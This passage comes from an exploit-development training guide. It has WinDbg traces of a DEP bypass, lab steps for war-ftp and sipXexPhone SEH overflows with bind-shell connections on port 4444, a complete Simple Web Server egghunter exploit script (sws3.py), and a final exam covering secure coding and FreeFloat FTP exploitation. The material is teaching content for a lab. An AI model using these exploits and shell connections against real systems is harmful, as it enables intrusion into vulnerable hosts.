1279 | cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216 | |
1280 | ole32!CSSMappedStream::IsWriteable+0x2: | |
1281 | 775ee010 c20400 ret 4 | |
1282 | ||
1283 | ||
1284 | ||
1285 | ||
1286 | ||
1287 | --------------------------------------------------------------------------- | |
1288 | Ok, so inside of ntdll.dll we need to find the following instructions: | |
1289 | ||
1290 | CMP AL,1 | |
1291 | PUSH 2 | |
1292 | POP ESI | |
1293 | JE ntdll.7 | |
1294 | ||
1295 | 0:001> t | |
1296 | eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58 | |
1297 | eip=7c91cd24 esp=00affd60 ebp=00affdb0 iopl=0 nv up ei pl nz ac pe nc | |
1298 | cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216 | |
1299 | ntdll!LdrpCheckNXCompatibility+0x13: | |
1300 | 7c91cd24 3c01 cmp al,1 | |
1301 | ||
1302 | ||
1303 | 0:001> t | |
1304 | eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58 | |
1305 | eip=7c91cd26 esp=00affd60 ebp=00affdb0 iopl=0 nv up ei pl zr na pe nc | |
1306 | cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 | |
1307 | ntdll!LdrpCheckNXCompatibility+0x15: | |
1308 | 7c91cd26 6a02 push 2 | |
1309 | ||
1310 | ||
1311 | 0:001> t | |
1312 | eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58 | |
1313 | eip=7c91cd28 esp=00affd5c ebp=00affdb0 iopl=0 nv up ei pl zr na pe nc | |
1314 | cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 | |
1315 | ntdll!LdrpCheckNXCompatibility+0x17: | |
1316 | 7c91cd28 5e pop esi | |
1317 | ||
1318 | ||
1319 | 0:001> t | |
1320 | eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=00000002 edi=00affe58 | |
1321 | eip=7c91cd29 esp=00affd60 ebp=00affdb0 iopl=0 nv up ei pl zr na pe nc | |
1322 | cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 | |
1323 | ntdll!LdrpCheckNXCompatibility+0x18: | |
1324 | 7c91cd29 0f84df290200 je ntdll!LdrpCheckNXCompatibility+0x1a (7c93f70e) [br=1] | |
1325 | ||
1326 | ||
1327 | --------------------------------------------------------------------------- | |
1328 | ||
1329 | ||
1330 | ||
1331 | python warftpd5.py | nc XPSP3-ED-Target-IP 21 | |
1332 | ||
1333 | nc XPSP3-ED-Target-IP 4444 | |
1334 | ||
1335 | ||
1336 | ########################## | |
1337 | # Lab 1c: SEH Overwrites # | |
1338 | ########################## | |
1339 | ||
1340 | ################################################# | |
1341 | # On our VictimXP Host (XPSP3-ED-Target-IP) # | |
1342 | # Start sipXexPhone if it isn’t already running # | |
1343 | # Start WinDBG # | |
1344 | # Press “F6” and Attach to sipXexPhone.exe # | |
1345 | # Press “F5” to start the debugger # | |
1346 | ################################################# | |
1347 | ||
1348 | ||
1349 | cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab1c\sipx_complete | |
1350 | ||
1351 | ||
1352 | ||
1353 | python sipex0.py XPSP3-ED-Target-IP | |
1354 | ||
1355 | 0:003> !exchain | |
1356 | 0:003> dds esp | |
1357 | 0:003> dds | |
1358 | ||
1359 | python sipex1.py XPSP3-ED-Target-IP | |
1360 | ||
1361 | 0:003> !exchain | |
1362 | 0:003> g | |
1363 | ||
1364 | When looking at !exchain you should see that EIP is 41414141, so let’s add more characters. | |
1365 | ||
1366 | ||
1367 | python sipex2.py XPSP3-ED-Target-IP | |
1368 | ||
1369 | 0:003> !exchain | |
1370 | 0:003> g | |
1371 | ||
1372 | ||
1373 | ***ssh into instructor Ubuntu host*** | |
1374 | cd /home/strategicsec/toolz/metasploit/tools/exploit | |
1375 | ruby pattern_offset.rb 41346941 We should see that SEH is at 252 | |
1376 | ||
1377 | ||
1378 | ||
1379 | !load narly | |
1380 | !nmod | |
1381 | ||
1382 | ***ssh into the Ubuntu host*** | |
1383 | ls /home/strategicsec/toolz/metasploit/DLLs/xpsp3/sipXDLLs/ | |
1384 | cd /home/strategicsec/toolz/metasploit/ | |
1385 | ./msfpescan -p DLLs/xpsp3/sipXDLLs/sipxtapi.dll | |
1386 | ||
1387 | ||
1388 | ##################################### | |
1389 | # sipex3.py in Notepad++. # | |
1390 | # Set cseq = 252 # | |
1391 | # Set seh2 address to: 0x10015977 # | |
1392 | ##################################### | |
1393 | ||
1394 | ||
1395 | python sipex3.py XPSP3-ED-Target-IP | |
1396 | 0:003> !exchain | |
1397 | ||
1398 | python sipex4.py XPSP3-ED-Target-IP | |
1399 | ||
1400 | ||
1401 | ||
1402 | nc XPSP3-ED-Target-IP 4444 | |
1403 | ||
1404 | ||
1405 | ||
1406 | ||
1407 | ||
1408 | Brush up on the basics of Structured Exception Handlers: | |
1409 | http://www.securitytube.net/video/1406 | |
1410 | http://www.securitytube.net/video/1407 | |
1411 | http://www.securitytube.net/video/1408 | |
1412 | ||
1413 | ||
1414 | ||
1415 | ||
1416 | Here are the slides for the exploit dev basics: | |
1417 | https://s3.amazonaws.com/StrategicSec-Files/ExploitDev/Exploit+Dev+For+Mere+Mortals+-+Part+1+-+Getting+Started.pptx | |
1418 | https://s3.amazonaws.com/StrategicSec-Files/ExploitDev/Exploit+Dev+For+Mere+Mortals+-+Part+2+-+The+Process.pptx | |
1419 | https://s3.amazonaws.com/StrategicSec-Files/ExploitDev/Exploit+Dev+For+Mere+Mortals+-+Part+4+-+Windows+Stack+Overflows.pptx | |
1420 | ||
1421 | ||
1422 | Here are the exploit dev basic videos: | |
1423 | https://s3.amazonaws.com/StrategicSec-Videos/2013-10-01+20.21+Exploit+Dev+Night+School+October+2013.wmv | |
1424 | https://s3.amazonaws.com/StrategicSec-Videos/2013-10-03+19.11+Exploit+Dev+Night+School+October+2013.wmv | |
1425 | https://s3.amazonaws.com/StrategicSec-Videos/2013-10-08+19.10+Exploit+Dev+Night+School+October+2013.wmv | |
1426 | https://s3.amazonaws.com/StrategicSec-Videos/2013-10-10+19.03+Exploit+Dev+Night+School+October+2013.wmv | |
1427 | https://s3.amazonaws.com/StrategicSec-Videos/2013-10-17+19.13+Exploit+Dev+Night+School+October+2013.wmv | |
1428 | ||
1429 | ||
1430 | ||
1431 | Recommended videos on Structured Exception Handling: | |
1432 | http://www.securitytube.net/video/1406 | |
1433 | http://www.securitytube.net/video/1407 | |
1434 | http://www.securitytube.net/video/1408 | |
1435 | ||
1436 | ||
1437 | ######################################## | |
1438 | # Lab 2a: Not Enough Space (Egghunter) # | |
1439 | ######################################## | |
1440 | ||
1441 | cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab2a\sws_skeleton | |
1442 | ||
1443 | SWS - SIMPLE WEB SERVER | |
1444 | ----------------------- | |
1445 | ||
1446 | Running SWS on Strategicsec-XP-ED-Target-VM | |
1447 | Start > Programs > Simple Web Server (it's in the middle somewhere) | |
1448 | Red icon in system tray | |
1449 | Double click it | |
1450 | - it will pop up a menu | |
1451 | - select "start" | |
1452 | - dialog box shows starting params - port 82 | |
1453 | ||
1454 | WinDBG | |
1455 | - attach to "server.exe" | |
1456 | ||
1457 | ||
1458 | python sws1.py | nc XPSP3-ED-Target-IP 82 | |
1459 | ||
1460 | ||
1461 | ||
1462 | python sws2.py | nc XPSP3-ED-Target-IP 82 | |
1463 | ||
1464 | ||
1465 | SSH into the Ubuntu host (user: strategicsec/pass: strategicsec) | |
1466 | cd /home/strategicsec/toolz/metasploit/tools/exploit | |
1467 | ruby pattern_offset.rb 41356841 <------- You should see that EIP is at 225 | |
1468 | ruby pattern_offset.rb 68413668 <------- You should see that ESP is at 229 | |
1469 | ||
1470 | ||
1471 | ||
1472 | ||
1473 | ||
1474 | ||
1475 | ||
1476 | ||
1477 | EGGHUNTER: | |
1478 | ---------- | |
1479 | ||
1480 | "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74" | |
1481 | "\xEF\xB8\x41\x42\x42\x41\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7" | |
1482 | ^^^^^^^^^^^^^^^^ | |
1483 | ABBA | |
1484 | JMP ESP | |
1485 | / | |
1486 | / | |
1487 | GET /AAAAAAAAAAA...225...AAAAAAAAAA[ EIP ]$egghunter HTTP/1.0 | |
1488 | User-Agent: ABBAABBA LARGE SHELLCODE (Alpha2 encoded) | |
1489 | ||
1490 | ||
1491 | ||
1492 | ||
1493 | -----sws3.py----- | |
1494 | #!/usr/bin/python2 | |
1495 | ||
1496 | import os # for output setting | |
1497 | import sys | |
1498 | import struct # for pack function | |
1499 | ||
1500 | # turn off output buffer and set binary mode | |
1501 | sys.stdout = os.fdopen(sys.stdout.fileno(), 'wb', 0) | |
1502 | ||
1503 | ||
1504 | pad = "A" * 225 # distance to EIP | |
1505 | eip = 0x7e429353 # replace EIP to point to "jmp esp" from user32.dll | |
1506 | ||
1507 | egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74" | |
1508 | egghunter += "\xEF\xB8\x41\x42\x42\x41\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7" | |
1509 | ||
1510 | shellcode = "\xCC" * 700 | |
1511 | ||
1512 | buf = "GET /" | |
1513 | buf += pad + struct.pack('<I', eip) + egghunter | |
1514 | buf += " HTTP/1.0\r\n" | |
1515 | buf += "User-Agent: ABBAABBA" | |
1516 | buf += shellcode | |
1517 | buf += " HTTP/1.0\r\n" | |
1518 | ||
1519 | sys.stdout.write(buf) | |
1520 | ----- | |
1521 | ||
1522 | ||
1523 | ||
1524 | ||
1525 | ||
1526 | ||
1527 | #################### | |
1528 | # Day 5 Final Exam # | |
1529 | #################### | |
1530 | ||
1531 | ||
1532 | ||
1533 | ||
1534 | Section 1: Secure Coding | |
1535 | ------------------------ | |
1536 | ||
1537 | ||
1538 | ||
1539 | Section 1a: Secure C/C++ | |
1540 | ------------------------ | |
1541 | https://s3.amazonaws.com/infosecaddictsfiles/F200.03c-Common-Vulnerabilities-in-C-and-C%2B%2B.ppt | |
1542 | Review slides: | |
1543 | 4 - 17 | |
1544 | 24 - 31 | |
1545 | ||
1546 | 1. The majority of buffer overflows are related to "_____________" | |
1547 | 2. Using the >> operator in C++ with native C strings is just as dangerous as "_____________". | |
1548 | 3. The "_____________" versions of functions, such as strncpy(), are headed in the right direction. But, there are still plenty of misuse and abuse cases that either lead to buffer overflows | |
1549 | 4. The "_____________" function is misleading because it doesn't accept a bound on the total size of the destination buffer, but rather the remaining space available in the destination buffer | |
1550 | 5. List 10 "Always Dangerous" functions or "banned API" and each functions corresponding "Safe C and C++ Library" | |
1551 | ||
1552 | ||
1553 | ||
1554 | ||
1555 | ||
1556 | Section 1b: Secure Java | |
1557 | ----------------------- | |
1558 | https://s3.amazonaws.com/infosecaddictsfiles/F200.03j-Common-Vulnerabilities-in-Java.ppt | |
1559 | Review slides: | |
1560 | 34 - 58 | |
1561 | 70 - 85 | |
1562 | ||
1563 | 1. In pairs, use "_____________". Takes a tainted string, returns a clean string. | |
1564 | 2. If outputting normal text, use "_____________". Simple and secure. | |
1565 | 3. If outputting inside a non-text tag, use "_____________". | |
1566 | 4. Stored procedure gives "_____________". Implement with "_____________". | |
1567 | 5. For parameters, use a "_____________". Simple and secure. For non-parameters, use "_____________". | |
1568 | ||
1569 | ||
1570 | ||
1571 | ||
1572 | ||
1573 | ||
1574 | ||
1575 | Section 1c: Secure .Net | |
1576 | ----------------------- | |
1577 | https://s3.amazonaws.com/infosecaddictsfiles/F200.03n-Common-Vulnerabilities-in-dot-Net.ppt | |
1578 | Review slides: | |
1579 | 34 - 47 | |
1580 | 49 - 60 | |
1581 | 89 - 103 | |
1582 | ||
1583 | 1. In pairs, use "_____________". Takes a tainted string, returns a clean string. | |
1584 | 2. List the 7 AntiXss Library Functions and when they should be used. | |
1585 | 3. In pairs, write "_____________". Returns a safe value. Throws ValidationException if no safe value is found | |
1586 | 4. In pairs, use "_____________" to fix command injection. | |
1587 | Takes user data | |
1588 | Returns legal value or throws ValidationException | |
1589 | 5. List the 3 "Harder to Fix" Command Injection items | |
1590 | ||
1591 | ||
1592 | ||
1593 | ||
1594 | ||
1595 | ||
1596 | ||
1597 | Section 2: Web Application Security Testing | |
1598 | ------------------------------------------- | |
1599 | ||
1600 | Perform a web Application Security Assessment against the following URL: | |
1601 | http://zero.webappsecurity.com | |
1602 | ||
1603 | Task 2a: Create a web application security test report similar to the reports found in the link below: | |
1604 | https://s3.amazonaws.com/infosecaddictsfiles/WebAppSampleReports.zip | |
1605 | ||
1606 | Task 2b: Create a document to prove that you properly tested the website for the OWASP Top 10 vulnerabilities similar to the report found in the link below: | |
1607 | https://s3.amazonaws.com/infosecaddictsfiles/OWASP-Top-10-Proof_Draft_Update.docx | |
1608 | ||
1609 | ||
1610 | ||
1611 | ||
1612 | ||
1613 | Section 3: Exploit Development | |
1614 | ------------------------------ | |
1615 | ||
1616 | ||
1617 | Task 3a: Analysze and comment exploit code found https://www.exploit-db.com/exploits/23243/ (ensure all components of this exploit code are thoroughly explained) | |
1618 | ||
1619 | ||
1620 | Task 3b: Create a working exploit for FreeFloat FTP | |
1621 | Use the war-ftp exploit code for reference and the Windows XP virtual machine as the target system. | |
1622 | Download and install FreeFloat FTP Server to the target Windows XP virtual machine and create a working exploit. | |
1623 | ||
1624 | ||
1625 | Vulnerable FreeFloat FTP Server Download link: | |
1626 | https://www.exploit-db.com/apps/687ef6f72dcbbf5b2506e80a375377fa-freefloatftpserver.zip | |
1627 | ||
1628 | FreeFloat FTP Server reference code: | |
1629 | https://www.exploit-db.com/exploits/23243/ |